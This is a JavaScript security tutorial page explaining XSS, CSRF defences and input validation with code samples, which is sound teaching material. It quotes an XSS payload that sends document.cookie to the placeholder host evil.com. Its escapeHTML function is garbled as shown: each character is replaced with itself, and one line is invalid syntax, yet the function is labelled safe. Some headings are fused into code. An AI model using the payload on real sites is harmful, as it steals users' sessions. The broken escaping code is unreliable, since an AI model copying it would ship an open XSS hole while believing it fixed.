Security in JavaScript
XSS, CSRF, CSP, input validation, safe dependencies — the security fundamentals every JavaScript developer must know.
What it is, in plain English: Security in JavaScript centres on one truth: never trust user input. XSS (Cross-Site Scripting) — injecting malicious scripts via user content — is the most common web vulnerability. CSRF (Cross-Site Request Forgery) tricks authenticated users into making unwanted requests. Content Security Policy (CSP) is a browser security layer that restricts what scripts can run. These aren't advanced topics — they're things every developer who ships code to users must understand.
The attacks and how to prevent them
The golden rule: never trust user input.
Any data that comes from a user — form fields, URL parameters, uploaded files, API responses —
must be validated and sanitised before use.
XSS — Cross-Site Scripting
XSS is when an attacker injects malicious JavaScript into your page via user-controlled content.
If your page displays user input as HTML, that content can include <script> tags
that execute in your users' browsers — stealing cookies, session tokens, and personal data.
// ✗ DANGEROUS — innerHTML with user data:
const comment = userInput; // e.g. '<script>fetch("evil.com?c="+document.cookie)</script>'
commentDiv.innerHTML = comment; // ← the script executes!
// ✓ SAFE — textContent always treats content as plain text:
commentDiv.textContent = comment; // script tag is shown as text, never executed
// ✓ SAFE — escape HTML before using innerHTML:
function escapeHTML(str) {
return str
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
commentDiv.innerHTML = escapeHTML(comment); // safe
// ✓ USE a sanitisation library for rich text (user content with allowed HTML):
// import DOMPurify from "dompurify";
// commentDiv.innerHTML = DOMPurify.sanitize(richTextInput);
// DOMPurify strips dangerous tags/attributes while allowing safe HTMLCSRF — Cross-Site Request Forgery
// Attack: a malicious site tricks your logged-in user into making a request
// to your site (e.g. "change email" or "transfer money")
// Prevention 1: SameSite cookies (set on the server):
// Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict
// SameSite=Strict → cookie not sent on cross-site requests
// Prevention 2: CSRF tokens (for forms):
// Server generates a random token, embeds in form, validates on submit:
// <input type="hidden" name="csrf_token" value="a8f3k...">
// Prevention 3: Check the Origin/Referer header on sensitive requests
// (backend responsibility — but good to understand)Input validation — always, on every field
// Never trust what arrives — validate shape, type, and range:
function validateUserInput(data) {
const errors = [];
if (!data.email?.includes("@")) errors.push("Invalid email");
if (typeof data.age !== "number") errors.push("Age must be a number");
if (data.age < 0 || data.age > 150) errors.push("Age out of range");
if (data.name?.length > 100) errors.push("Name too long");
if (!["user","admin"].includes(data.role)) errors.push("Invalid role");
return errors;
}
// Note: client-side validation is for UX only.
// Always validate AGAIN on the server — a user can bypass client validation.
Try It Yourself
Official Sources
- OWASP Top 10
- MDN Web Docs — Web security
- MDN Web Docs — Content Security Policy
- MDN Web Docs — HTTP cookies
- DOMPurify — XSS sanitiser
The Codex links only to official documentation and the ECMAScript specification. No third-party tutorials.